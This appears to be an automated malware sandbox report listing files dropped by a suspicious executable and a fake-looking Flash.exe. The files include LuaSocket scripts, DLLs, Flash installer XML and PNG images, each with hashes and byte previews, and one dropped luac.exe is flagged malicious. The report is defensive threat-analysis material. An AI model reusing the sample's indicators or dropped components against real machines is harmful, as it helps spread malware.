Entropy (8bit):	4.576436298539175
Encrypted:	false
SSDEEP:	192:En9bwibw7JYkjcyFZNcvqr0Py3v7u8meG1+mlXzI+eN1qyOd8cw/RsT9QwHzBDkf:En9ZPvqr0uzu8meYyOd8cqsT9QwHFYf
MD5:	7FA818F532EFFD80CF7C1C54676E5A0D
SHA1:	05CE44C8D0672C9F3CE66436C592442377E69DBA
SHA-256:	1C2D1BA8425139D45DE89192D2AE4982E9581F8AE0F22B8497AA0055080237CA
SHA-512:	38BAED895BC71BB890E91A92909F6E78AD34569CE6C7EFD8BD9DB50080DA22697A085F98A3465C3E31165FB9029644E5A0F6BC5BA17D71D7F0DCD31784F0811D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ka.C...C...C...d.t.@...C.......d.u.B...d.s.B...d.w.B...RichC...........................PE..L.....H...........!.........$............... ...............................`......................................@,......."..(....@../....................P....................................................... ...............................text............................... ..`.rdata..5.... ......................@..@.rsrc.../....@......."..............@..@.reloc..(....P.......*..............@..B........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\lua\lua\ltn12.lua Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8177
Entropy (8bit):	4.022810400753856
Encrypted:	false
SSDEEP:	192:RYfAp6an3GBkiwbbCk2ecK1PAM5k7vxMK+IYlUGoLhA4jxkKQpLMH6Y6Fdhi6zqN:Rp2BkBCk2eYM6xMLXNBFT1wMuDzl2c
MD5:	3DFC54EF5C4D74C9558B503EA5595D0D
SHA1:	79016426AB7D0D6DE6C2316B9EA02D8CBF5FC53A
SHA-256:	688B7D780603FB9AA75F80F178E8451AED347D0112FD526591108A2D4C98AB50
SHA-512:	F79CADFF428C375EA174279A9ADA186F02FE43518CF0549D24FB1CD3288C1D15377558E59BFE2EDA55C7E7B204B04FD37A00A76DBDECB475AC09CFB331043194
Malicious:	false
Preview:	-----------------------------------------------------------------------------.-- LTN12 - Filters, sources, sinks and pumps..-- LuaSocket toolkit..-- Author: Diego Nehab.-- RCS ID: $Id: ltn12.lua,v 1.31 2006/04/03 04:45:42 diego Exp $.-----------------------------------------------------------------------------..-----------------------------------------------------------------------------.-- Declare module.-----------------------------------------------------------------------------.local string = require("string").local table = require("table").local base = _G.module("ltn12")..filter = {}.source = {}.sink = {}.pump = {}..-- 2048 seems to be better in windows....BLOCKSIZE = 2048._VERSION = "LTN12 1.0.1"..-----------------------------------------------------------------------------.-- Filter stuff.-----------------------------------------------------------------------------.-- returns a high level filter that cycles a low-level filter.function filter.cycle(low, ctx, extra). base.asser

C:\ProgramData\lua\lua\mime.lua Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2433
Entropy (8bit):	4.689032691656553
Encrypted:	false
SSDEEP:	48:LPCblzaxlQ/2JYSLa0aKyS+E1ISlSmSRE/SgWmikzbbyS/pbmbeE/Sw//SxISnl:LKslMuYSVa7S+E1ISl9SRE/SgWmikOS/
MD5:	6042DE20EE4CACB2089388F1038BB92B
SHA1:	855102721C46ABC38A5122C41BEA1ADB6EA296AA
SHA-256:	7D02031927FFD905700FD0C24E1ECD8CEB3CA8D8CFA85D49DE2EAAC9B43FFCF9
SHA-512:	CD5A00182AFFA97528DB3C06B97D3C0C0827B35D6BBD1A48612709692A15FE3D935964C16091F373B38C19BDAF15C52968BCA11C3EDA5E8EA11AB421A219C661
Malicious:	false
Preview:	-----------------------------------------------------------------------------.-- MIME support for the Lua language..-- Author: Diego Nehab.-- Conforming to RFCs 2045-2049.-- RCS ID: $Id: mime.lua,v 1.29 2007/06/11 23:44:54 diego Exp $.-----------------------------------------------------------------------------..-----------------------------------------------------------------------------.-- Declare module and import dependencies.-----------------------------------------------------------------------------.local base = _G.local ltn12 = require("ltn12").local mime = require("mime.core").local io = require("io").local string = require("string").module("mime")..-- encode, decode and wrap algorithm tables.encodet = {}.decodet = {}.wrapt = {}..-- creates a function that chooses a filter by name from a given table.local function choose(table). return function(name, opt1, opt2). if base.type(name) ~= "string" then. name, opt1, opt2 = "default", name, opt1. end.

C:\ProgramData\lua\lua\socket.lua Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4061
Entropy (8bit):	4.30419999491486
Encrypted:	false
SSDEEP:	96:LZCAJAAWACAACsACGAC6vagbFtGWFLRMFh3AOFqaAH:spJTAyTGT6yA6WpRMHl5Y
MD5:	F8D9F766CE71816A68C90BB12A29EED9
SHA1:	EDA6100BC1DFA511682D7F98C67342B48538EB17
SHA-256:	CB1BF14BAA252740B8AB681189E746F401A2E2B06086469BB5884E5564B12861
SHA-512:	A2F04D91ED4EEDCE4AEAD5C07CD7C98E8CC5E3CE03CA3C70705968BDCAF6CE9277E3F3E2965A0DD66E817353511EA8DFB2199AEFB207FE5B2FA86F831F9013F8
Malicious:	false
Preview:	-----------------------------------------------------------------------------.-- LuaSocket helper module.-- Author: Diego Nehab.-- RCS ID: $Id: socket.lua,v 1.22 2005/11/22 08:33:29 diego Exp $.-----------------------------------------------------------------------------..-----------------------------------------------------------------------------.-- Declare module and import dependencies.-----------------------------------------------------------------------------.local base = _G.local string = require("string").local math = require("math").local socket = require("socket.core").module("socket")..-----------------------------------------------------------------------------.-- Exported auxiliar functions.-----------------------------------------------------------------------------.function connect(address, port, laddress, lport). local sock, err = socket.tcp(). if not sock then return nil, err end. if laddress then. local res, err = sock:bind(laddress, lport, -1).

C:\ProgramData\lua\lua\socket\ftp.lua Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9120
Entropy (8bit):	4.711756973934954
Encrypted:	false
SSDEEP:	192:Ib9n9btwO8RiYH21IcNhvU632OzjMxwcjvu0xT+FHWWkbssMPP3IaeevDZYgnVJc:Ib99twO84z1dfvU42O3MFjvu00kdM34x
MD5:	A8FBE980F396BCCFDAA5671A981E60CD
SHA1:	C2AE1816545E52347D359475E846997056865DB1
SHA-256:	CB373CD081A8FFBC71F67D359A0D2C7B8BC7A4DB7EF720364700A534773B2BFD
SHA-512:	89332CD5079CC3B1E2AB2553E7425919A2463B7AACFC51371D0C431160DFC4A0B3812597CC1DB43D476C5332D20334D1D904B1EDCC2E6AB81415514ABE9FF307
Malicious:	false
Preview:	-----------------------------------------------------------------------------.-- FTP support for the Lua language.-- LuaSocket toolkit..-- Author: Diego Nehab.-- RCS ID: $Id: ftp.lua,v 1.45 2007/07/11 19:25:47 diego Exp $.-----------------------------------------------------------------------------..-----------------------------------------------------------------------------.-- Declare module and import dependencies.-----------------------------------------------------------------------------.local base = _G.local table = require("table").local string = require("string").local math = require("math").local socket = require("socket").local url = require("socket.url").local tp = require("socket.tp").local ltn12 = require("ltn12").module("socket.ftp")..-----------------------------------------------------------------------------.-- Program constants.-----------------------------------------------------------------------------.-- timeout in seconds before the program gives up on a connecti

C:\ProgramData\lua\lua\socket\http.lua Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12193
Entropy (8bit):	4.5307471750601085
Encrypted:	false
SSDEEP:	192:SsHcg8Z5jISm65NFMh1KoKWperguRbkrCIzokDk+9yuPTTbVVaajhDyh3bbocLmh:SsHcgCj/BK0U6q5B4x8bHRlWh3HzqCsD
MD5:	811E12534358F97907079EC49DB9D753
SHA1:	CDECAA0560F73A613F405BF9EC75F16A6478F66C
SHA-256:	64480FE4BC09A432E5A25C10F5818206FF86D44A945045DF3BDBF433289C0F8E
SHA-512:	B827A96C4D681F066C593953EC589CF3CF6F171D5F9474ED00823D92772C231DCA39C753DDFCAD5AE97BB4734206B3C53FB547A0A4056C652F6032CE945BF4CC
Malicious:	false
Preview:	-----------------------------------------------------------------------------.-- HTTP/1.1 client support for the Lua language..-- LuaSocket toolkit..-- Author: Diego Nehab.-- RCS ID: $Id: http.lua,v 1.70 2007/03/12 04:08:40 diego Exp $.-----------------------------------------------------------------------------..-----------------------------------------------------------------------------.-- Declare module and import dependencies.-------------------------------------------------------------------------------.local socket = require("socket").local url = require("socket.url").local ltn12 = require("ltn12").local mime = require("mime").local string = require("string").local base = _G.local table = require("table").module("socket.http")..-----------------------------------------------------------------------------.-- Program constants.-----------------------------------------------------------------------------.-- connection timeout in seconds.TIMEOUT = 60.-- default port for document ret

C:\ProgramData\lua\lua\socket\smtp.lua Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7961
Entropy (8bit):	4.757717084425106
Encrypted:	false
SSDEEP:	192:E7pzrQ+w+M69s68k3zTHeej6jycQF2vkvD6PD9d0t72ky9p5E:Opzg8+e2j9QF2vkvD6PD9d0tOY
MD5:	1D32E3DC5060E7E2F67B59E8F8376C63
SHA1:	FABE6E3419837D72C9293B2A9339A5BA4CFE04CA
SHA-256:	425CC88963E95F6C4B17C56D62B64302A735901F3EE9808388EC4A4ABDE3A64F
SHA-512:	D9DAFEDCFA789EBD0F763B155B57387AF5911AE52A11392AD1740DF96537943EEBEFCBC06C9DE5B248769A7E89A247E536470DC47286F0BDB74B65CC4B60B0F5
Malicious:	false
Preview:	-----------------------------------------------------------------------------.-- SMTP client support for the Lua language..-- LuaSocket toolkit..-- Author: Diego Nehab.-- RCS ID: $Id: smtp.lua,v 1.46 2007/03/12 04:08:40 diego Exp $.-----------------------------------------------------------------------------..-----------------------------------------------------------------------------.-- Declare module and import dependencies.-----------------------------------------------------------------------------.local base = _G.local coroutine = require("coroutine").local string = require("string").local math = require("math").local os = require("os").local socket = require("socket").local tp = require("socket.tp").local ltn12 = require("ltn12").local mime = require("mime").module("socket.smtp")..-----------------------------------------------------------------------------.-- Program constants.-----------------------------------------------------------------------------.-- timeout for connectio

C:\ProgramData\lua\lua\socket\tp.lua Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3608
Entropy (8bit):	4.397673970581417
Encrypted:	false
SSDEEP:	96:LqGJymNXCA1zp4AT9az+axa3givQyEJvxwU6EAenoqyq:G+ymNymzqsYzRugivv0vxwUbAeno5q
MD5:	B98814D6A43AA13DD01F78F3B573F4F6
SHA1:	C5B11AC3B388424015DC24981B33301B5765EFE3
SHA-256:	8B203683437AF5A3417F1FDF0B14E404208507830510BCE24883F2731E89855A
SHA-512:	CC38A537FD6A2AA69CA0902EEADA5F446A81C3A3EE813BAD0943B7CBC0414798797EB813945B776E06E5C8A52ED6B656E1450A0922D1E53906B53F9F25F01BE0
Malicious:	false
Preview:	-----------------------------------------------------------------------------.-- Unified SMTP/FTP subsystem.-- LuaSocket toolkit..-- Author: Diego Nehab.-- RCS ID: $Id: tp.lua,v 1.22 2006/03/14 09:04:15 diego Exp $.-----------------------------------------------------------------------------..-----------------------------------------------------------------------------.-- Declare module and import dependencies.-----------------------------------------------------------------------------.local base = _G.local string = require("string").local socket = require("socket").local ltn12 = require("ltn12").module("socket.tp")..-----------------------------------------------------------------------------.-- Program constants.-----------------------------------------------------------------------------.TIMEOUT = 60..-----------------------------------------------------------------------------.-- Implementation.-----------------------------------------------------------------------------.-- gets s

C:\ProgramData\lua\lua\socket\url.lua Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10529
Entropy (8bit):	4.478982229938779
Encrypted:	false
SSDEEP:	192:r4h8A2vdLDe8snKvngV4lcIPd70CtKxeeMnwXL2MTePtfkNoy/:rc2vdLYnKv24OIPdwKKxeeMtMTe+Nos
MD5:	2BB6B15F77E9FCF4FC028435D41AD748
SHA1:	660C9E42F154DF0FDF1E70C1323BE1EEC1C57C68
SHA-256:	CC4A567BF317200157EEC4DB6DE1648D658FB0563343D8FC4B6BD6F843711777
SHA-512:	C6D18E9F0A639D97E240B1D66E9B5F8053B2C74BFF50528B34ECD3A90EF641B07F5D29FA5D02D6B75CCEE724E761F9B7578B422E03CC9157D7FEC608A5DE0AA8
Malicious:	false
Preview:	-----------------------------------------------------------------------------.-- URI parsing, composition and relative URL resolution.-- LuaSocket toolkit..-- Author: Diego Nehab.-- RCS ID: $Id: url.lua,v 1.38 2006/04/03 04:45:42 diego Exp $.-----------------------------------------------------------------------------..-----------------------------------------------------------------------------.-- Declare module.-----------------------------------------------------------------------------.local string = require("string").local base = _G.local table = require("table").module("socket.url")..-----------------------------------------------------------------------------.-- Module version.-----------------------------------------------------------------------------._VERSION = "URL 1.0.1"..-----------------------------------------------------------------------------.-- Encodes a string into its escaped hexadecimal representation.-- Input.-- s: binary string to be encoded.-- Returns.-- es

C:\ProgramData\lua\luac.exe Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	4.566792955528008
Encrypted:	false
SSDEEP:	384:p24uT01oatxHepV0o2TMTJs612kMRrL1WvheN3C:plM0tkAkmrLyhG3
MD5:	B747D97542F2E512AB640D0A67D5DA91
SHA1:	3592C9A68B3C7C79F27F4605694B22087F345392
SHA-256:	04674F47DF3515525D98254CBCD6ED0D1824C06AF1A54F896D98F503E3ACFD37
SHA-512:	3C8F4F71C4BC1BDC097AD3C93E4D93DF9E37709BCBAAA8EB0C1A2FA1A851CAF4996C46233B834230A22C7F4377C9B1ECE596FE9D9A1D095197CBA632FB4C7A3F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H.z.)e).)e).)e)...).)e)...).)e).&8).)e)...).)e).)d).)e)...).)e)...).)e)...).)e)...).)e)Rich.)e)........PE..L..._..I.....................r.......".......0....@..........................................................................4..P....P...`..........................................................04..@............0..`............................text............................... ..`.rdata.......0......................@..@.data........@.......(..............@....rsrc....`...P...b...*..............@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\lua\mime\core.dll Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	2.2141270642363833
Encrypted:	false
SSDEEP:	192:lQWutmOKovIcQCGKGc6nYlqXLrSjgGgu/jr:q0GGXLdGpjr
MD5:	05EFB07488C0BA45F35230B0066422F4
SHA1:	FCACC9F294D02070319905F2923DB0E72EFFA295
SHA-256:	BB57E961677111025F9771A50869363D9FDAAFB63B4448DEAA5068CE7F165834
SHA-512:	6598E1CDEEEEFCD2ED89B85F6AFE6EAF258AE6F014CEBFFA05E658EFE909FCC5A7E9388E7FCC251BC47A7D27E3E794D6CA2E43A4B3D6C7FF7DB8CEFCF6B76F1C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.&./kH./kH./kH..wF..kH.Mt[.-kH./kI.7kH..KB.)kH..KL.)kH.Rich/kH.........PE..L.....)G...........!..... ...0.......".......0...............................`.......................................3..M....0..P............................P.......................................................0..d............................text............ .................. ..`.rdata..M....0.......0..............@..@.data........@.......@..............@....reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\lua\socket\core.dll Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	4.823143871023984
Encrypted:	false
SSDEEP:	768:9C8uK5l5eK5Z5p5P9QY7X6yTcA5o0d5H/jN:SFY7TlPf
MD5:	58A9887FB51F92E707C80F9CE4196D5C
SHA1:	71925AABC136BB2650EE690326BD396430793A0A
SHA-256:	C0731D74E9071FAF9CC3951A6325A296BFAD073B2D70C5120F028640DA70E0D6
SHA-512:	4DB555733F8BDF15D73C904DEC3C4E893BD72DC2C06A6CF49E6106E01D38D2D7FBFCE732B51A40BADBB39B39FF64380AE03273B6ECA6C90F8E1655AE13F55C65
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............m..m..m.".c..m..l...m..~..m.^.g..m.^.i..m.Rich..m.........................PE..L.....)G...........!.....@...0.......L.......P......................................................................`W..Q....Q..d............................p..$....................................................P..`............................text...~=.......@.................. ..`.rdata.......P.......P..............@..@.data........`.......`..............@....reloc..Z....p.......p..............@..B........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\lua\zip.dll Download File
Process:	C:\Users\user\Desktop\8v4iWYLvKJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	6.298196898300188
Encrypted:	false
SSDEEP:	1536:BOu7aUyZxULN3AzTnNl4exjAPiefJyMaT8He1jEkrpgu+kFXDIOwnToIfp/H3tNv:BOhdk+NdQkMtSpgYETBfpPtp
MD5:	28B032CE0F99E5271D2E4D501C6B28F3
SHA1:	1C8E86FC9E1801E8E357E98DAA0D6C2AA6EBADF0
SHA-256:	BAD35AB41CEA3584EEA3DDFB19EECE05F69D30DF77B6661C744B1910485A666B
SHA-512:	3CD293CD03CB726D11A2B17C6C8948DEB76EFF532A286DECA03E4A9CE611C2C0E960ED14B3B9824C03883C3A0BA583BAA06A20ED4C7FB9FDF3EF050158D37F8D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........m.J..EJ..EJ..E..^EH..E.}}EI..Em.~EY..Em.mEo..E...EI..EJ..E...Em.nE...Em.yEK..Em.{EK..ERichJ..E........PE..L.....vF...........!.....P..........Dd.......`...............................0..........................................F.......<.... ..........................@...................................X...@............`...............................text...WK.......P.................. ..`.rdata...Z...`...`...`..............@..@.data...81....... ..................@....reloc........... ..................@..B.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\3922B731-64EE-45D1-917A-20CA80E554F0\9F55EDBB-DC61-428F-ADAA-E4A19FCC3C1A.aamdownload Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8240
Entropy (8bit):	5.190652969310434
Encrypted:	false
SSDEEP:	96:DofnhrOaNHwUGmWXA9Dlym0ML3GYthlLXYpMA3tBgNChS6yzg8VM85oGVAhsRV/V:DofnN4c0MzGU1AbgN28XRFDrlH
MD5:	A7CF6DBD1323D232C502E6A432364262
SHA1:	80AFF18605D023CDC11B2151E2ADAB3F731259C0
SHA-256:	147D53C8E8D32DCB5EE1F45B84291537453891D73663B6F13E0674C76782CA54
SHA-512:	89E586CDBC657E7685B2FDA82F8D0D336E0739624C163D60B29382BBFA3E154A73E5B44C57282AC2B6B66A1C75A573EB2E33AE5585186E67B80D9FBCEE6873DA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<application>...<packages>....<package isPrimary="true">.....<id>1</id>.....<title>Adobe Flash Player</title>.....<version>34.0.0.175</version>.....<skipInstall>false</skipInstall>.....<siteCatalystCode>FP</siteCatalystCode>.... <icons>...... <icon dpiRatio="100">https://www.flash.cn/cdm/icons/flash100.png</icon>...... <icon dpiRatio="125">https://www.flash.cn/cdm/icons/flash125.png</icon>...... <icon dpiRatio="150">https://www.flash.cn/cdm/icons/flash150.png</icon>...... <icon dpiRatio="200">https://www.flash.cn/cdm/icons/flash200.png</icon>.....</icons>.....<learnmore>......<learnmorelink>https://helpx.adobe.com/flash-player/flash-player-releasenotes.html</learnmorelink>......<learnmoretext>Learn More</learnmoretext>......<dlllearnmorelink>https://www.flash.cn/software/lib-update</dlllearnmorelink>......<dlllearnmoretext>software update details</dlllearnmoretext>.....</learnmore>......<fclearnmore>......<fclearnmorelink>https://www.flash.c

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\479AF44C-FDAE-489E-9444-356F88A72DB6\DF869FDE-7864-428F-B3F0-76DEE3D27781.aamdownload Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2258
Entropy (8bit):	4.871967933536201
Encrypted:	false
SSDEEP:	48:+0KpRH7PCDEFXh7Umi/eGx3C1hCqjOA/laJq8KZs0FF9keFHoKFmqbIQw/INRGcA:+0K9XqpkbNrdHUDuNG
MD5:	E99E50BF033C76164E75C28E3A1F5D86
SHA1:	74B8274341746CD1649D18B79B721C2C29068C1D
SHA-256:	571BAE30D0601D18CEFBBFF4752D39B981BAE2FAA3DA864539846C83F0EDBC8F
SHA-512:	F9ECC0C6D8A639B6A8C41B66A1B74BF331B88362D5D1BDDB8FAE33934F5C4C67FF346B46DB469B72F1378F8052652A43BFCD07338A2974E873D6AF471B07FDEA
Malicious:	false
Preview:	<application>...<packages>....<package>.....<title>Flash Center</title>.....<version>2.3.5.20</version>.....<skipInstall>false</skipInstall>.....<siteCatalystCode>FP_center</siteCatalystCode>.....<ping>......<url>https://dlmping2.adobe.com/dlm/fc.gif</url>......<parameters>.......<param name="type">install</param>.......<param name="pane"/>.......<param name="os"/>.......<param name="exitcode">1</param>.......<param name="app_ver">2.3.5.20</param>.......<param name="adm_status_name"/>.......<param name="site">live</param>.......<param name="adm_name"/>.......<param name="adm_vers"/>.......<param name="itemid">Flash_Center</param>.......<param name="abbr">fc</param>.......<param name="dlc">flashplayer</param>.......<param name="pre_installed">0</param>.......<param name="cancelled">0</param>.......<param name="adm_status_code"/>.......<param name="adm_status_reason"/>.......<param name="os_ver"/>.......<param name="act_o">Y</param>......</parameters>.....</ping>.....<actions>......<down

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\CE50ECB8-9392-4C18-8F7B-717D0E2B21BB\B5984742-EFF1-4582-A2F6-9E6125C3B4CA.aamdownload Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1842
Entropy (8bit):	4.896878751864931
Encrypted:	false
SSDEEP:	48:+Vd3RH7PxaEFXh7USxkx/eGx3C1hCqjO14/laJq8KZy0FFjeFHoKF4qbI0WjAK:+Vd3XGvpxA92w
MD5:	C44105259927F1729F3799AB964FDE8C
SHA1:	C32B46E5D9225CDEF680F31430E482F5CCA552B3
SHA-256:	6B370E461BE20729069695E0E5CDCDE058F87D0814B978103AF6CEB4BC120095
SHA-512:	E1DAD2720D3E7E5C785A3F1CFE5C88B69D3708D502A642D84271A7DBDD66021C192B73A3E5D38B0A65710BEBBE700890D746FA3662A556C7AEBA5CBB1AFDC1C9
Malicious:	false
Preview:	<application>...<packages>....<package>.....<title>Flash Player Helper</title>.....<version>2.3.0.20</version>.....<skipInstall>false</skipInstall>.....<siteCatalystCode>FP_helper</siteCatalystCode>.....<uninstall>-uninstall</uninstall>.....<launch32Path>C:\Windows\System32\Macromed\Flash\FlashHelperService.exe</launch32Path>.....<launch64Path>C:\Windows\SysWOW64\Macromed\Flash\FlashHelperService.exe</launch64Path>.....<ping>......<url>https://dlmping2.adobe.com/dlm/hs.gif</url>......<parameters>.......<param name="type">install</param>.......<param name="pane"/>.......<param name="os"/>.......<param name="exitcode">-1</param>.......<param name="app_ver">2.3.0.20</param>.......<param name="adm_status_name"/>.......<param name="site">live</param>.......<param name="adm_name"/>.......<param name="adm_vers"/>.......<param name="itemid">Helper_Service</param>.......<param name="abbr">hs</param>.......<param name="dlc">flashplayer</param>.......<param name="pre_installed">0</param>.......<p

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\FD16C85A-A06B-4E4D-924B-366BC71184BB\0A5DD4AF-E352-486E-B25C-BD0A749ED5E1.aamdownload Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8238
Entropy (8bit):	5.190575079172158
Encrypted:	false
SSDEEP:	96:JofnhrOaNHwUGmWXA9Dlym0ML3GYthlLXg4pMM2tBgNChS6yzg8VM85oGVAhsRVd:JofnN4c0MzGUSMOgN28XRFDrlH
MD5:	8FEFBC33A7555284E555CD8F5FDEFB11
SHA1:	38C6B084E6869396EC6D0AC930009A25F6A2C3E7
SHA-256:	5C8FAF0CD2AA6172DC7A9CC05876561E9569B94ACA5DF9487C8A85D8006802B8
SHA-512:	A4A8DF25499EE60F0269BA2DBC0D19CCBE2A352711D6BE08C0FE60FB35F68AED9C7C344649F1BCB435CDF34D4DAAC68BFEE98E071AC414C4899780CB2354A507
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<application>...<packages>....<package isPrimary="true">.....<id>3</id>.....<title>Adobe Flash Player</title>.....<version>34.0.0.175</version>.....<skipInstall>false</skipInstall>.....<siteCatalystCode>FP</siteCatalystCode>.... <icons>...... <icon dpiRatio="100">https://www.flash.cn/cdm/icons/flash100.png</icon>...... <icon dpiRatio="125">https://www.flash.cn/cdm/icons/flash125.png</icon>...... <icon dpiRatio="150">https://www.flash.cn/cdm/icons/flash150.png</icon>...... <icon dpiRatio="200">https://www.flash.cn/cdm/icons/flash200.png</icon>.....</icons>.....<learnmore>......<learnmorelink>https://helpx.adobe.com/flash-player/flash-player-releasenotes.html</learnmorelink>......<learnmoretext>Learn More</learnmoretext>......<dlllearnmorelink>https://www.flash.cn/software/lib-update</dlllearnmorelink>......<dlllearnmoretext>software update details</dlllearnmoretext>.....</learnmore>......<fclearnmore>......<fclearnmorelink>https://www.flash.c

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\XButton.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 52 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	621
Entropy (8bit):	6.82179766243588
Encrypted:	false
SSDEEP:	12:6v/721HVbpOnKm2cDPuYZ3MxnkFe8RE479uuaJwW:P1nfBWui8WoAEYAOW
MD5:	76A5FB89B52DB50677476BF765285E96
SHA1:	0C020BD76C6F23C3E017FB6E4F2B2C872AB0BB84
SHA-256:	7718E09D6BA8B47C65106C97A58E6C706D7BC8997575955A8F516EBF310C3DE1
SHA-512:	8325716F1A27FDFFF66AB063330D700D62A3877D66FE85BDA043C24D7DE99931652C3477ADC5CDCC7F67FF5150D7391BFFB10CF5FA38531A70176D492E919F45
Malicious:	false
Preview:	.PNG........IHDR...4...............KiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about=""/>. </rdf:RDF>.</x:xmpmeta>.<?xpacket end="r"?> I.:....IDATX..A..0.E.....}\.6.DO!{OQ..&.[.-.....&..a(4}.&..L.'.]....l.....S...N.Z:"B.1...~.....-%.""t8..g[.>.o..$.k.4.d..kWp)...rC......+....C-...R..hm.M..../.^D.:.h..:.p..r.g<..%..1s....'EDPZ..K.Y...`..gf..H.F.L....t/...XKD.!.......IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner1-c0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 270, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12567
Entropy (8bit):	7.834855632189317
Encrypted:	false
SSDEEP:	192:6QMSQp3rCd99DlWaQ4rrqY+w8IJ0xk2IedY9I5MlT68HkDxt4LgfzmZiD:K/u99DXrnT8K0md9I6lTRHy34SzmZ4
MD5:	11376CF472A9C84ED6196DAC5CA36D73
SHA1:	69F3991CA2F479F61979032AE02D9D15C3611D94
SHA-256:	846DF536ECD1FB69345F0D56D9D2FA0BDA1B563BC644CFB54C369D809D02A334
SHA-512:	13B34839939BCF4F2016EDC58CD09AB02D2293C87DF5E38FC4A0A26DEE9A883F275253EA9FC1647FC57C302B483BAF75B042D1B5D596A82E1E0C42336E057496
Malicious:	false
Preview:	.PNG........IHDR...l.........4AK.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:2EBCC85BBFA111EB8CFA9C19309EF2CD" xmpMM:DocumentID="xmp.did:2EBCC85CBFA111EB8CFA9C19309EF2CD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2EBCC859BFA111EB8CFA9C19309EF2CD" stRef:documentID="xmp.did:2EBCC85ABFA111EB8CFA9C19309EF2CD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...S..-.IDATx.....]w}...w..V.k[.m..m.Z.6F..G.<6.j.]w.MG..3...CK..).i.NR...a..Ae.@@.-).c[..($.l*A..l....l..z..y...

